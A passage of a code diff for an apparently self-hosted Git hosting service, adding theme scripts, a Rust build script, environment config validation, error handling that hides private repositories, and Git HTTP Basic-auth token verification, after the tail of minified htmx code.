m=ce({shouldSwap:a,serverResponse:p,isError:f,ignoreTitle:h,selectOverride:d,swapOverride:g},i);if(r.event&&!he(l,r.event,m))return;if(!he(l,"htmx:beforeSwap",m))return;l=m.target;p=m.serverResponse;f=m.isError;h=m.ignoreTitle;d=m.selectOverride;g=m.swapOverride;i.target=l;i.failed=f;i.successful=!f;if(m.shouldSwap){if(s.status===286){lt(o)}Ft(o,function(e){p=e.transformResponse(p,s,o)});if(u.type){zt()}var x=gn(o,g);if(!x.hasOwnProperty("ignoreTitle")){x.ignoreTitle=h}l.classList.add(Q.config.swappingClass);let n=null;let r=null;if(c){d=c}if(R(s,/HX-Reselect:/i)){d=s.getResponseHeader("HX-Reselect")}const y=re(o,"hx-select-oob");const b=re(o,"hx-select");let e=function(){try{if(u.type){he(ne().body,"htmx:beforeHistoryUpdate",ce({history:u},i));if(u.type==="push"){$t(u.path);he(ne().body,"htmx:pushedIntoHistory",{path:u.path})}else{Jt(u.path);he(ne().body,"htmx:replacedInHistory",{path:u.path})}}$e(l,p,x,{select:d||b,selectOOB:y,eventInfo:i,anchor:i.pathInfo.anchor,contextElement:o,afterSwapCallback:function(){if(R(s,/HX-Trigger-After-Swap:/i)){let e=o;if(!le(o)){e=ne().body}Je(s,"HX-Trigger-After-Swap",e)}},afterSettleCallback:function(){if(R(s,/HX-Trigger-After-Settle:/i)){let e=o;if(!le(o)){e=ne().body}Je(s,"HX-Trigger-After-Settle",e)}oe(n)}})}catch(e){fe(o,"htmx:swapError",i);oe(r);throw e}};let t=Q.config.globalViewTransitions;if(x.hasOwnProperty("transition")){t=x.transition}if(t&&he(o,"htmx:beforeTransition",i)&&typeof Promise!=="undefined"&&document.startViewTransition){const v=new Promise(function(e,t){n=e;r=t});const w=e;e=function(){document.startViewTransition(function(){w();return v})}}if(x.swapDelay>0){E().setTimeout(e,x.swapDelay)}else{e()}}if(f){fe(o,"htmx:responseError",ce({error:"Response Status Error Code "+s.status+" from "+i.pathInfo.requestPath},i))}}const Mn={};function Xn(){return{init:function(e){return null},getSelectors:function(){return null},onEvent:function(e,t){return true},transformResponse:function(e,t,n){return e},isInlineSwap:function(e){return false},handleSwap:function(e,t,n,r){return false},encodeParameters:function(e,t,n){return null}}}function Fn(e,t){if(t.init){t.init(n)}Mn[e]=ce(Xn(),t)}function Bn(e){delete Mn[e]}function Un(e,n,r){if(n==undefined){n=[]}if(e==undefined){return n}if(r==undefined){r=[]}const t=te(e,"hx-ext");if(t){se(t.split(","),function(e){e=e.replace(/ /g,"");if(e.slice(0,7)=="ignore:"){r.push(e.slice(7));return}if(r.indexOf(e)<0){const t=Mn[e];if(t&&n.indexOf(t)<0){n.push(t)}}})}return Un(ue(c(e)),n,r)}var jn=false;ne().addEventListener("DOMContentLoaded",function(){jn=true});function Vn(e){if(jn||ne().readyState==="complete"){e()}else{ne().addEventListener("DOMContentLoaded",e)}}function _n(){if(Q.config.includeIndicatorStyles!==false){const e=Q.config.inlineStyleNonce?` nonce="${Q.config.inlineStyleNonce}"`:"";ne().head.insertAdjacentHTML("beforeend","<style"+e+"> ."+Q.config.indicatorClass+"{opacity:0} ."+Q.config.requestClass+" ."+Q.config.indicatorClass+"{opacity:1; transition: opacity 200ms ease-in;} ."+Q.config.requestClass+"."+Q.config.indicatorClass+"{opacity:1; transition: opacity 200ms ease-in;} </style>")}}function zn(){const e=ne().querySelector('meta[name="htmx-config"]');if(e){return S(e.content)}else{return null}}function $n(){const e=zn();if(e){Q.config=ce(Q.config,e)}}Vn(function(){$n();_n();let e=ne().body;kt(e);const t=ne().querySelectorAll("[hx-trigger='restored'],[data-hx-trigger='restored']");e.addEventListener("htmx:abort",function(e){const t=e.target;const n=ie(t);if(n&&n.xhr){n.xhr.abort()}});const n=window.onpopstate?window.onpopstate.bind(window):null;window.onpopstate=function(e){if(e.state&&e.state.htmx){Wt();se(t,function(e){he(e,"htmx:restored",{document:ne(),triggerEvent:he})})}else{if(n){n(e)}}};E().setTimeout(function(){he(e,"htmx:load",{});e=null},0)});return Q}(); | |
Acrates/df-web/assets/theme-init.js+12−0
| @@ −0,0 +1,12 @@ | |||
| 1 | + | // Applied before the body renders, so a stored "light" preference does not | |
| 2 | + | // flash the default dark theme on first paint. Kept separate from theme.js | |
| 3 | + | // (which is deferred) because this one has to block instead. | |
| 4 | + | (function () { | |
| 5 | + | try { | |
| 6 | + | if (localStorage.getItem("dogfood-theme") === "light") { | |
| 7 | + | document.documentElement.setAttribute("data-theme", "light"); | |
| 8 | + | } | |
| 9 | + | } catch (e) { | |
| 10 | + | // Storage blocked — falls back to the default theme, same as no JS. | |
| 11 | + | } | |
| 12 | + | })(); | |
Acrates/df-web/assets/theme.js+35−0
| @@ −0,0 +1,35 @@ | |||
| 1 | + | // Theme toggle. Enhancement only — the site is fully usable in its default | |
| 2 | + | // dark theme with this script blocked or absent; it just cannot be switched. | |
| 3 | + | (function () { | |
| 4 | + | var KEY = "dogfood-theme"; | |
| 5 | + | ||
| 6 | + | function apply(theme) { | |
| 7 | + | if (theme === "light") { | |
| 8 | + | document.documentElement.setAttribute("data-theme", "light"); | |
| 9 | + | } else { | |
| 10 | + | document.documentElement.removeAttribute("data-theme"); | |
| 11 | + | } | |
| 12 | + | } | |
| 13 | + | ||
| 14 | + | document.querySelectorAll("[data-theme-toggle]").forEach(function (btn) { | |
| 15 | + | var current = document.documentElement.getAttribute("data-theme") === "light" | |
| 16 | + | ? "light" | |
| 17 | + | : "dark"; | |
| 18 | + | btn.setAttribute("aria-pressed", String(current === "light")); | |
| 19 | + | btn.hidden = false; | |
| 20 | + | ||
| 21 | + | btn.addEventListener("click", function () { | |
| 22 | + | var next = document.documentElement.getAttribute("data-theme") === "light" | |
| 23 | + | ? "dark" | |
| 24 | + | : "light"; | |
| 25 | + | apply(next); | |
| 26 | + | try { | |
| 27 | + | localStorage.setItem(KEY, next); | |
| 28 | + | } catch (e) { | |
| 29 | + | // Storage blocked (private mode, quota). The toggle still works for | |
| 30 | + | // this page load; it just will not persist across visits. | |
| 31 | + | } | |
| 32 | + | btn.setAttribute("aria-pressed", String(next === "light")); | |
| 33 | + | }); | |
| 34 | + | }); | |
| 35 | + | })(); | |
Acrates/df-web/build.rs+32−0
| @@ −0,0 +1,32 @@ | |||
| 1 | + | //! Make the CodeMirror bundle optional at compile time. | |
| 2 | + | //! | |
| 3 | + | //! `assets/editor.min.js` is produced by esbuild in a Docker build stage, so it | |
| 4 | + | //! does not exist in a source checkout. `include_str!` needs *something* | |
| 5 | + | //! though, and a missing file would make `cargo build` fail outside Docker — | |
| 6 | + | //! which would mean the test suite could not run without a Node toolchain. | |
| 7 | + | //! | |
| 8 | + | //! An empty placeholder is the right fallback rather than a workaround: the | |
| 9 | + | //! edit page ships a working `<textarea>` and the bundle only enhances it, so a | |
| 10 | + | //! build without the bundle produces a product where editing still works, | |
| 11 | + | //! plainly. That is the documented behaviour when the script fails to load, and | |
| 12 | + | //! this makes it the behaviour when it was never built either. | |
| 13 | + | ||
| 14 | + | use std::path::Path; | |
| 15 | + | ||
| 16 | + | fn main() { | |
| 17 | + | let bundle = Path::new("assets/editor.min.js"); | |
| 18 | + | println!("cargo:rerun-if-changed=assets/editor.min.js"); | |
| 19 | + | ||
| 20 | + | if !bundle.exists() { | |
| 21 | + | std::fs::write( | |
| 22 | + | bundle, | |
| 23 | + | "/* No editor bundle in this build. The edit page falls back to a \ | |
| 24 | + | plain textarea, which is a working editor. */\n", | |
| 25 | + | ) | |
| 26 | + | .expect("writing the editor placeholder"); | |
| 27 | + | println!( | |
| 28 | + | "cargo:warning=assets/editor.min.js was not built; \ | |
| 29 | + | the web editor will fall back to a plain textarea" | |
| 30 | + | ); | |
| 31 | + | } | |
| 32 | + | } | |
Acrates/df-web/src/config.rs+307−0
| @@ −0,0 +1,307 @@ | |||
| 1 | + | //! Runtime configuration, read from the environment. | |
| 2 | + | //! | |
| 3 | + | //! Everything is validated at startup. A process that cannot serve correctly — | |
| 4 | + | //! no database, no OIDC, a placeholder session secret — must fail loudly at | |
| 5 | + | //! boot rather than at the first request that needs it. | |
| 6 | + | ||
| 7 | + | use anyhow::{bail, Context, Result}; | |
| 8 | + | ||
| 9 | + | #[derive(Debug, Clone)] | |
| 10 | + | pub struct Config { | |
| 11 | + | pub database_url: String, | |
| 12 | + | pub database_max_connections: u32, | |
| 13 | + | ||
| 14 | + | pub base_url: String, | |
| 15 | + | pub bind: String, | |
| 16 | + | pub repo_root: String, | |
| 17 | + | ||
| 18 | + | pub ssh_clone_host: String, | |
| 19 | + | pub ssh_clone_port: u16, | |
| 20 | + | ||
| 21 | + | pub oidc_issuer: String, | |
| 22 | + | pub oidc_client_id: String, | |
| 23 | + | pub oidc_client_secret: String, | |
| 24 | + | pub oidc_redirect_url: String, | |
| 25 | + | pub oidc_scopes: String, | |
| 26 | + | ||
| 27 | + | /// Emails admitted without an invitation. Blank entries are dropped so a | |
| 28 | + | /// stray comma cannot widen access. | |
| 29 | + | pub allowlist: Vec<String>, | |
| 30 | + | ||
| 31 | + | pub session_secret: Vec<u8>, | |
| 32 | + | pub session_ttl_days: i64, | |
| 33 | + | ||
| 34 | + | /// Path to the compiled `dogfood-hook` binary, as seen from *inside* the | |
| 35 | + | /// container that serves pushes. Installed into each repository's `hooks/` | |
| 36 | + | /// directory (spec §4: "Hooks are the compiled `dogfood-hook` binary … | |
| 37 | + | /// Do not use shell scripts"). | |
| 38 | + | pub hook_binary: String, | |
| 39 | + | ||
| 40 | + | pub max_pack_bytes: u64, | |
| 41 | + | pub max_blob_render_bytes: usize, | |
| 42 | + | pub max_diff_files: usize, | |
| 43 | + | pub max_diff_lines: usize, | |
| 44 | + | } | |
| 45 | + | ||
| 46 | + | fn var(key: &str) -> Result<String> { | |
| 47 | + | std::env::var(key).with_context(|| format!("{key} must be set")) | |
| 48 | + | } | |
| 49 | + | ||
| 50 | + | fn var_or(key: &str, default: &str) -> String { | |
| 51 | + | std::env::var(key).unwrap_or_else(|_| default.to_string()) | |
| 52 | + | } | |
| 53 | + | ||
| 54 | + | fn parse_num<T: std::str::FromStr>(key: &str, default: T) -> Result<T> | |
| 55 | + | where | |
| 56 | + | T::Err: std::fmt::Display, | |
| 57 | + | { | |
| 58 | + | match std::env::var(key) { | |
| 59 | + | Ok(v) => v | |
| 60 | + | .parse::<T>() | |
| 61 | + | .map_err(|e| anyhow::anyhow!("{key} is not a valid number: {e}")), | |
| 62 | + | Err(_) => Ok(default), | |
| 63 | + | } | |
| 64 | + | } | |
| 65 | + | ||
| 66 | + | impl Config { | |
| 67 | + | pub fn from_env() -> Result<Self> { | |
| 68 | + | let base_url = var_or("BASE_URL", "http://localhost:8080") | |
| 69 | + | .trim_end_matches('/') | |
| 70 | + | .to_string(); | |
| 71 | + | ||
| 72 | + | let session_secret_hex = var("SESSION_SECRET")?; | |
| 73 | + | let session_secret = hex::decode(session_secret_hex.trim()) | |
| 74 | + | .context("SESSION_SECRET must be hex")?; | |
| 75 | + | if session_secret.len() < 32 { | |
| 76 | + | bail!( | |
| 77 | + | "SESSION_SECRET must be at least 32 bytes ({} given); \ | |
| 78 | + | generate with `openssl rand -hex 32`", | |
| 79 | + | session_secret.len() | |
| 80 | + | ); | |
| 81 | + | } | |
| 82 | + | ||
| 83 | + | let allowlist = var_or("DOGFOOD_ALLOWLIST", "") | |
| 84 | + | .split(',') | |
| 85 | + | .map(|s| s.trim().to_string()) | |
| 86 | + | .filter(|s| !s.is_empty()) | |
| 87 | + | .collect::<Vec<_>>(); | |
| 88 | + | ||
| 89 | + | if allowlist.is_empty() { | |
| 90 | + | // Not fatal — invitations still work — but silence here would look | |
| 91 | + | // like a broken login rather than a deliberate policy. | |
| 92 | + | tracing::warn!( | |
| 93 | + | "DOGFOOD_ALLOWLIST is empty; only invited users will be able to sign in" | |
| 94 | + | ); | |
| 95 | + | } | |
| 96 | + | ||
| 97 | + | let cfg = Config { | |
| 98 | + | database_url: var("DATABASE_URL")?, | |
| 99 | + | database_max_connections: parse_num("DATABASE_MAX_CONNECTIONS", 10)?, | |
| 100 | + | ||
| 101 | + | bind: var_or("BIND", "0.0.0.0:8080"), | |
| 102 | + | repo_root: var_or("REPO_ROOT", "/srv/repos"), | |
| 103 | + | ||
| 104 | + | ssh_clone_host: var_or("SSH_CLONE_HOST", "localhost"), | |
| 105 | + | ssh_clone_port: parse_num("SSH_CLONE_PORT", 2222u16)?, | |
| 106 | + | ||
| 107 | + | oidc_issuer: var("OIDC_ISSUER")?, | |
| 108 | + | oidc_client_id: var("OIDC_CLIENT_ID")?, | |
| 109 | + | oidc_client_secret: var("OIDC_CLIENT_SECRET")?, | |
| 110 | + | oidc_redirect_url: var_or( | |
| 111 | + | "OIDC_REDIRECT_URL", | |
| 112 | + | &format!("{base_url}/auth/callback"), | |
| 113 | + | ), | |
| 114 | + | oidc_scopes: var_or("OIDC_SCOPES", "openid profile email"), | |
| 115 | + | ||
| 116 | + | allowlist, | |
| 117 | + | session_secret, | |
| 118 | + | session_ttl_days: parse_num("SESSION_TTL_DAYS", 14i64)?, | |
| 119 | + | ||
| 120 | + | hook_binary: var_or("DOGFOOD_HOOK_BINARY", "/usr/local/bin/dogfood-hook"), | |
| 121 | + | max_pack_bytes: parse_num("MAX_PACK_BYTES", 524_288_000u64)?, | |
| 122 | + | max_blob_render_bytes: parse_num("MAX_BLOB_RENDER_BYTES", 1_048_576)?, | |
| 123 | + | max_diff_files: parse_num("MAX_DIFF_FILES", 5_000)?, | |
| 124 | + | max_diff_lines: parse_num("MAX_DIFF_LINES", 100_000)?, | |
| 125 | + | ||
| 126 | + | base_url, | |
| 127 | + | }; | |
| 128 | + | ||
| 129 | + | cfg.validate()?; | |
| 130 | + | Ok(cfg) | |
| 131 | + | } | |
| 132 | + | ||
| 133 | + | fn validate(&self) -> Result<()> { | |
| 134 | + | if !self.base_url.starts_with("http://") && !self.base_url.starts_with("https://") { | |
| 135 | + | bail!("BASE_URL must be an absolute http(s) URL, got {}", self.base_url); | |
| 136 | + | } | |
| 137 | + | // The redirect URI must match what is registered with Hydra exactly, so | |
| 138 | + | // a mismatch is worth catching here rather than as an opaque OAuth error. | |
| 139 | + | if !self.oidc_redirect_url.starts_with(&self.base_url) { | |
| 140 | + | tracing::warn!( | |
| 141 | + | "OIDC_REDIRECT_URL ({}) is not under BASE_URL ({}); \ | |
| 142 | + | this is only correct behind a rewriting proxy", | |
| 143 | + | self.oidc_redirect_url, | |
| 144 | + | self.base_url | |
| 145 | + | ); | |
| 146 | + | } | |
| 147 | + | if self.session_ttl_days < 1 { | |
| 148 | + | bail!("SESSION_TTL_DAYS must be at least 1"); | |
| 149 | + | } | |
| 150 | + | Ok(()) | |
| 151 | + | } | |
| 152 | + | ||
| 153 | + | /// Whether cookies may carry the `Secure` attribute. | |
| 154 | + | /// | |
| 155 | + | /// Always true in production. Over plain HTTP a `Secure` cookie is silently | |
| 156 | + | /// dropped by the browser, which presents as "login does nothing" — so it | |
| 157 | + | /// is tied to the scheme rather than hardcoded. | |
| 158 | + | pub fn secure_cookies(&self) -> bool { | |
| 159 | + | self.base_url.starts_with("https://") | |
| 160 | + | } | |
| 161 | + | ||
| 162 | + | /// The SSH clone URL shown in the UI. | |
| 163 | + | pub fn ssh_clone_url(&self, owner: &str, repo: &str) -> String { | |
| 164 | + | if self.ssh_clone_port == 22 { | |
| 165 | + | format!("git@{}:{owner}/{repo}.git", self.ssh_clone_host) | |
| 166 | + | } else { | |
| 167 | + | // Port 22 is taken by the host sshd on this deployment, so the | |
| 168 | + | // explicit-port form is the normal case. | |
| 169 | + | format!( | |
| 170 | + | "ssh://git@{}:{}/{owner}/{repo}.git", | |
| 171 | + | self.ssh_clone_host, self.ssh_clone_port | |
| 172 | + | ) | |
| 173 | + | } | |
| 174 | + | } | |
| 175 | + | ||
| 176 | + | pub fn https_clone_url(&self, owner: &str, repo: &str) -> String { | |
| 177 | + | format!("{}/{owner}/{repo}.git", self.base_url) | |
| 178 | + | } | |
| 179 | + | ||
| 180 | + | /// A configuration for tests, with every cap set small. | |
| 181 | + | /// | |
| 182 | + | /// Small caps on purpose: a test that trips a limit should trip it quickly | |
| 183 | + | /// rather than needing a megabyte of fixture to get there. | |
| 184 | + | #[cfg(test)] | |
| 185 | + | pub fn for_tests() -> Config { | |
| 186 | + | Config { | |
| 187 | + | database_url: "postgres://test".into(), | |
| 188 | + | database_max_connections: 4, | |
| 189 | + | base_url: "https://dogfood.test".into(), | |
| 190 | + | bind: "127.0.0.1:0".into(), | |
| 191 | + | repo_root: "/tmp/df-test-repos".into(), | |
| 192 | + | ssh_clone_host: "dogfood.test".into(), | |
| 193 | + | ssh_clone_port: 2222, | |
| 194 | + | oidc_issuer: "https://oidc.test/".into(), | |
| 195 | + | oidc_client_id: "test-client".into(), | |
| 196 | + | oidc_client_secret: "test-secret".into(), | |
| 197 | + | oidc_redirect_url: "https://dogfood.test/auth/callback".into(), | |
| 198 | + | oidc_scopes: "openid profile email".into(), | |
| 199 | + | allowlist: vec![], | |
| 200 | + | session_secret: vec![7; 32], | |
| 201 | + | session_ttl_days: 14, | |
| 202 | + | hook_binary: "/usr/local/bin/dogfood-hook".into(), | |
| 203 | + | max_pack_bytes: 1024 * 1024, | |
| 204 | + | max_blob_render_bytes: 64 * 1024, | |
| 205 | + | max_diff_files: 50, | |
| 206 | + | max_diff_lines: 5_000, | |
| 207 | + | } | |
| 208 | + | } | |
| 209 | + | ||
| 210 | + | /// The instance's hostname, without scheme or port. | |
| 211 | + | /// | |
| 212 | + | /// Used to build the `noreply` addresses that end up in merge commits, so | |
| 213 | + | /// it must be a bare host: an author line containing `https://` or a colon | |
| 214 | + | /// produces a commit object Git will not parse. | |
| 215 | + | pub fn host(&self) -> &str { | |
| 216 | + | self.base_url | |
| 217 | + | .split("://") | |
| 218 | + | .nth(1) | |
| 219 | + | .unwrap_or(&self.base_url) | |
| 220 | + | .split('/') | |
| 221 | + | .next() | |
| 222 | + | .unwrap_or("localhost") | |
| 223 | + | .split(':') | |
| 224 | + | .next() | |
| 225 | + | .unwrap_or("localhost") | |
| 226 | + | } | |
| 227 | + | } | |
| 228 | + | ||
| 229 | + | #[cfg(test)] | |
| 230 | + | mod tests { | |
| 231 | + | use super::*; | |
| 232 | + | ||
| 233 | + | fn cfg(base: &str, port: u16) -> Config { | |
| 234 | + | Config { | |
| 235 | + | database_url: "postgres://x".into(), | |
| 236 | + | database_max_connections: 5, | |
| 237 | + | base_url: base.into(), | |
| 238 | + | bind: "0.0.0.0:8080".into(), | |
| 239 | + | repo_root: "/srv/repos".into(), | |
| 240 | + | ssh_clone_host: "dogfood.sh".into(), | |
| 241 | + | ssh_clone_port: port, | |
| 242 | + | oidc_issuer: "https://oauth.dogfood.sh/".into(), | |
| 243 | + | oidc_client_id: "id".into(), | |
| 244 | + | oidc_client_secret: "secret".into(), | |
| 245 | + | oidc_redirect_url: format!("{base}/auth/callback"), | |
| 246 | + | oidc_scopes: "openid".into(), | |
| 247 | + | allowlist: vec![], | |
| 248 | + | session_secret: vec![0; 32], | |
| 249 | + | session_ttl_days: 14, | |
| 250 | + | hook_binary: "/usr/local/bin/dogfood-hook".into(), | |
| 251 | + | max_pack_bytes: 1024, | |
| 252 | + | max_blob_render_bytes: 1024, | |
| 253 | + | max_diff_files: 10, | |
| 254 | + | max_diff_lines: 10, | |
| 255 | + | } | |
| 256 | + | } | |
| 257 | + | ||
| 258 | + | #[test] | |
| 259 | + | fn ssh_clone_url_includes_the_port_when_not_22() { | |
| 260 | + | let c = cfg("https://dogfood.sh", 2222); | |
| 261 | + | assert_eq!( | |
| 262 | + | c.ssh_clone_url("dogfood", "dogfood"), | |
| 263 | + | "ssh://git@dogfood.sh:2222/dogfood/dogfood.git" | |
| 264 | + | ); | |
| 265 | + | } | |
| 266 | + | ||
| 267 | + | #[test] | |
| 268 | + | fn ssh_clone_url_uses_scp_syntax_on_port_22() { | |
| 269 | + | let c = cfg("https://dogfood.sh", 22); | |
| 270 | + | assert_eq!( | |
| 271 | + | c.ssh_clone_url("dogfood", "dogfood"), | |
| 272 | + | "git@dogfood.sh:dogfood/dogfood.git" | |
| 273 | + | ); | |
| 274 | + | } | |
| 275 | + | ||
| 276 | + | #[test] | |
| 277 | + | fn https_clone_url_is_built_from_base_url() { | |
| 278 | + | let c = cfg("https://dogfood.sh", 2222); | |
| 279 | + | assert_eq!( | |
| 280 | + | c.https_clone_url("dogfood", "dogfood"), | |
| 281 | + | "https://dogfood.sh/dogfood/dogfood.git" | |
| 282 | + | ); | |
| 283 | + | } | |
| 284 | + | ||
| 285 | + | #[test] | |
| 286 | + | fn secure_cookies_follow_the_scheme() { | |
| 287 | + | assert!(cfg("https://dogfood.sh", 2222).secure_cookies()); | |
| 288 | + | assert!( | |
| 289 | + | !cfg("http://localhost:8080", 2222).secure_cookies(), | |
| 290 | + | "a Secure cookie over plain http is dropped by the browser" | |
| 291 | + | ); | |
| 292 | + | } | |
| 293 | + | ||
| 294 | + | #[test] | |
| 295 | + | fn validate_rejects_a_relative_base_url() { | |
| 296 | + | let mut c = cfg("dogfood.sh", 2222); | |
| 297 | + | c.base_url = "dogfood.sh".into(); | |
| 298 | + | assert!(c.validate().is_err()); | |
| 299 | + | } | |
| 300 | + | ||
| 301 | + | #[test] | |
| 302 | + | fn validate_rejects_a_zero_session_ttl() { | |
| 303 | + | let mut c = cfg("https://dogfood.sh", 2222); | |
| 304 | + | c.session_ttl_days = 0; | |
| 305 | + | assert!(c.validate().is_err()); | |
| 306 | + | } | |
| 307 | + | } | |
Acrates/df-web/src/error.rs+75−0
| @@ −0,0 +1,75 @@ | |||
| 1 | + | //! Request error handling. | |
| 2 | + | //! | |
| 3 | + | //! The important rule (spec §9): an unauthorised private repo and a nonexistent | |
| 4 | + | //! repo must be indistinguishable. [`AppError::NotFound`] is therefore the only | |
| 5 | + | //! way to say "you can't see this" — there is deliberately no `Forbidden` | |
| 6 | + | //! variant for repository access. | |
| 7 | + | ||
| 8 | + | use axum::http::StatusCode; | |
| 9 | + | use axum::response::{IntoResponse, Response}; | |
| 10 | + | ||
| 11 | + | #[derive(Debug)] | |
| 12 | + | pub enum AppError { | |
| 13 | + | /// Also the response for "exists but you may not see it". | |
| 14 | + | NotFound, | |
| 15 | + | BadRequest(String), | |
| 16 | + | /// Signed in, but lacking a permission that is not itself a secret — | |
| 17 | + | /// e.g. trying to change settings on a repo you can already read. | |
| 18 | + | Forbidden, | |
| 19 | + | /// Not signed in, on a page that requires it. | |
| 20 | + | Unauthorized, | |
| 21 | + | Internal(anyhow::Error), | |
| 22 | + | } | |
| 23 | + | ||
| 24 | + | impl std::fmt::Display for AppError { | |
| 25 | + | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { | |
| 26 | + | match self { | |
| 27 | + | AppError::NotFound => write!(f, "not found"), | |
| 28 | + | AppError::BadRequest(m) => write!(f, "bad request: {m}"), | |
| 29 | + | AppError::Forbidden => write!(f, "forbidden"), | |
| 30 | + | AppError::Unauthorized => write!(f, "unauthorized"), | |
| 31 | + | AppError::Internal(e) => write!(f, "internal error: {e}"), | |
| 32 | + | } | |
| 33 | + | } | |
| 34 | + | } | |
| 35 | + | ||
| 36 | + | impl<E: Into<anyhow::Error>> From<E> for AppError { | |
| 37 | + | fn from(e: E) -> Self { | |
| 38 | + | AppError::Internal(e.into()) | |
| 39 | + | } | |
| 40 | + | } | |
| 41 | + | ||
| 42 | + | impl IntoResponse for AppError { | |
| 43 | + | fn into_response(self) -> Response { | |
| 44 | + | let (status, message) = match self { | |
| 45 | + | AppError::NotFound => (StatusCode::NOT_FOUND, "Not found".to_string()), | |
| 46 | + | AppError::BadRequest(m) => (StatusCode::BAD_REQUEST, m), | |
| 47 | + | AppError::Forbidden => ( | |
| 48 | + | StatusCode::FORBIDDEN, | |
| 49 | + | "You do not have permission to do that.".to_string(), | |
| 50 | + | ), | |
| 51 | + | AppError::Unauthorized => { | |
| 52 | + | // Send them to sign in rather than rendering a dead end. | |
| 53 | + | return axum::response::Redirect::to("/login").into_response(); | |
| 54 | + | } | |
| 55 | + | AppError::Internal(e) => { | |
| 56 | + | // Log the detail; never show it. Internal errors routinely carry | |
| 57 | + | // connection strings and object ids. | |
| 58 | + | tracing::error!("internal error: {e:#}"); | |
| 59 | + | // In tests the detail goes to stderr as well. A failing security | |
| 60 | + | // test that can only report "500" is nearly useless, and this | |
| 61 | + | // path is compiled out of every real build. | |
| 62 | + | #[cfg(test)] | |
| 63 | + | eprintln!("internal error: {e:#}"); | |
| 64 | + | ( | |
| 65 | + | StatusCode::INTERNAL_SERVER_ERROR, | |
| 66 | + | "Something went wrong.".to_string(), | |
| 67 | + | ) | |
| 68 | + | } | |
| 69 | + | }; | |
| 70 | + | ||
| 71 | + | (status, crate::views::layout::bare_error(status, &message)).into_response() | |
| 72 | + | } | |
| 73 | + | } | |
| 74 | + | ||
| 75 | + | pub type AppResult<T> = Result<T, AppError>; | |
Acrates/df-web/src/git_http/auth.rs+144−0
| @@ −0,0 +1,144 @@ | |||
| 1 | + | //! HTTP Basic authentication for Git clients (spec §6). | |
| 2 | + | //! | |
| 3 | + | //! "Git over HTTPS uses Basic auth: username is the user handle, password is a | |
| 4 | + | //! personal access token." | |
| 5 | + | //! | |
| 6 | + | //! The handle is accepted but not trusted for identity — the token alone | |
| 7 | + | //! determines who the caller is. A token that belongs to a different user than | |
| 8 | + | //! the supplied handle still authenticates as its real owner rather than | |
| 9 | + | //! being rejected, because the handle is decoration in the credential helper | |
| 10 | + | //! and users routinely have it stale. | |
| 11 | + | ||
| 12 | + | use axum::http::HeaderMap; | |
| 13 | + | use base64::Engine; | |
| 14 | + | use df_db::models::User; | |
| 15 | + | use uuid::Uuid; | |
| 16 | + | ||
| 17 | + | use crate::error::AppResult; | |
| 18 | + | use crate::state::AppState; | |
| 19 | + | ||
| 20 | + | /// Decode `Authorization: Basic …` into (username, password). | |
| 21 | + | fn parse_basic(headers: &HeaderMap) -> Option<(String, String)> { | |
| 22 | + | let raw = headers.get(axum::http::header::AUTHORIZATION)?.to_str().ok()?; | |
| 23 | + | let encoded = raw.strip_prefix("Basic ").or_else(|| raw.strip_prefix("basic "))?; | |
| 24 | + | ||
| 25 | + | let decoded = base64::engine::general_purpose::STANDARD | |
| 26 | + | .decode(encoded.trim()) | |
| 27 | + | .ok()?; | |
| 28 | + | let text = String::from_utf8(decoded).ok()?; | |
| 29 | + | ||
| 30 | + | // The password may itself contain a colon, so split only on the first. | |
| 31 | + | let (user, pass) = text.split_once(':')?; | |
| 32 | + | Some((user.to_string(), pass.to_string())) | |
| 33 | + | } | |
| 34 | + | ||
| 35 | + | /// Authenticate a Git request, if credentials were supplied. | |
| 36 | + | /// | |
| 37 | + | /// Returns `Ok(None)` for an anonymous request — which is legitimate for | |
| 38 | + | /// reading a public repository — and for credentials that do not verify. The | |
| 39 | + | /// caller turns that into a challenge or a 404 as appropriate; it never | |
| 40 | + | /// distinguishes "no credentials" from "bad credentials" to the client. | |
| 41 | + | pub async fn authenticate(state: &AppState, headers: &HeaderMap) -> AppResult<Option<User>> { | |
| 42 | + | let Some((handle, token)) = parse_basic(headers) else { | |
| 43 | + | return Ok(None); | |
| 44 | + | }; | |
| 45 | + | ||
| 46 | + | let Some(user_id) = df_auth::tokens::verify(&state.db, &token).await? else { | |
| 47 | + | tracing::info!(%handle, "git authentication failed: token did not verify"); | |
| 48 | + | return Ok(None); | |
| 49 | + | }; | |
| 50 | + | ||
| 51 | + | let user = sqlx::query_as::<_, User>( | |
| 52 | + | "SELECT id, subject, handle, display_name, email, avatar_url, is_admin, created_at | |
| 53 | + | FROM users WHERE id = $1", | |
| 54 | + | ) | |
| 55 | + | .bind(user_id) | |
| 56 | + | .fetch_optional(&state.db) | |
| 57 | + | .await?; | |
| 58 | + | ||
| 59 | + | if let Some(u) = &user { | |
| 60 | + | if !u.handle.eq_ignore_ascii_case(&handle) { | |
| 61 | + | // Not an error: credential helpers cache stale usernames. The token | |
| 62 | + | // is the authority. | |
| 63 | + | tracing::debug!( | |
| 64 | + | supplied = %handle, | |
| 65 | + | actual = %u.handle, | |
| 66 | + | "git basic-auth handle does not match the token owner; using the token owner" | |
| 67 | + | ); | |
| 68 | + | } | |
| 69 | + | } | |
| 70 | + | ||
| 71 | + | Ok(user) | |
| 72 | + | } | |
| 73 | + | ||
| 74 | + | /// The authenticated user's id, for attributing a push. | |
| 75 | + | pub async fn authenticated_user_id(state: &AppState, headers: &HeaderMap) -> Option<Uuid> { | |
| 76 | + | authenticate(state, headers).await.ok().flatten().map(|u| u.id) | |
| 77 | + | } | |
| 78 | + | ||
| 79 | + | #[cfg(test)] | |
| 80 | + | mod tests { | |
| 81 | + | use super::*; | |
| 82 | + | use axum::http::HeaderValue; | |
| 83 | + | ||
| 84 | + | fn headers_with(value: &str) -> HeaderMap { | |
| 85 | + | let mut h = HeaderMap::new(); | |
| 86 | + | h.insert( | |
| 87 | + | axum::http::header::AUTHORIZATION, | |
| 88 | + | HeaderValue::from_str(value).unwrap(), | |
| 89 | + | ); | |
| 90 | + | h | |
| 91 | + | } | |
| 92 | + | ||
| 93 | + | fn basic(user: &str, pass: &str) -> String { | |
| 94 | + | format!( | |
| 95 | + | "Basic {}", | |
| 96 | + | base64::engine::general_purpose::STANDARD.encode(format!("{user}:{pass}")) | |
| 97 | + | ) | |
| 98 | + | } | |
| 99 | + | ||
| 100 | + | #[test] | |
| 101 | + | fn parses_ordinary_credentials() { | |
| 102 | + | let h = headers_with(&basic("snow", "dgf_abc123")); | |
| 103 | + | assert_eq!( | |
| 104 | + | parse_basic(&h), | |
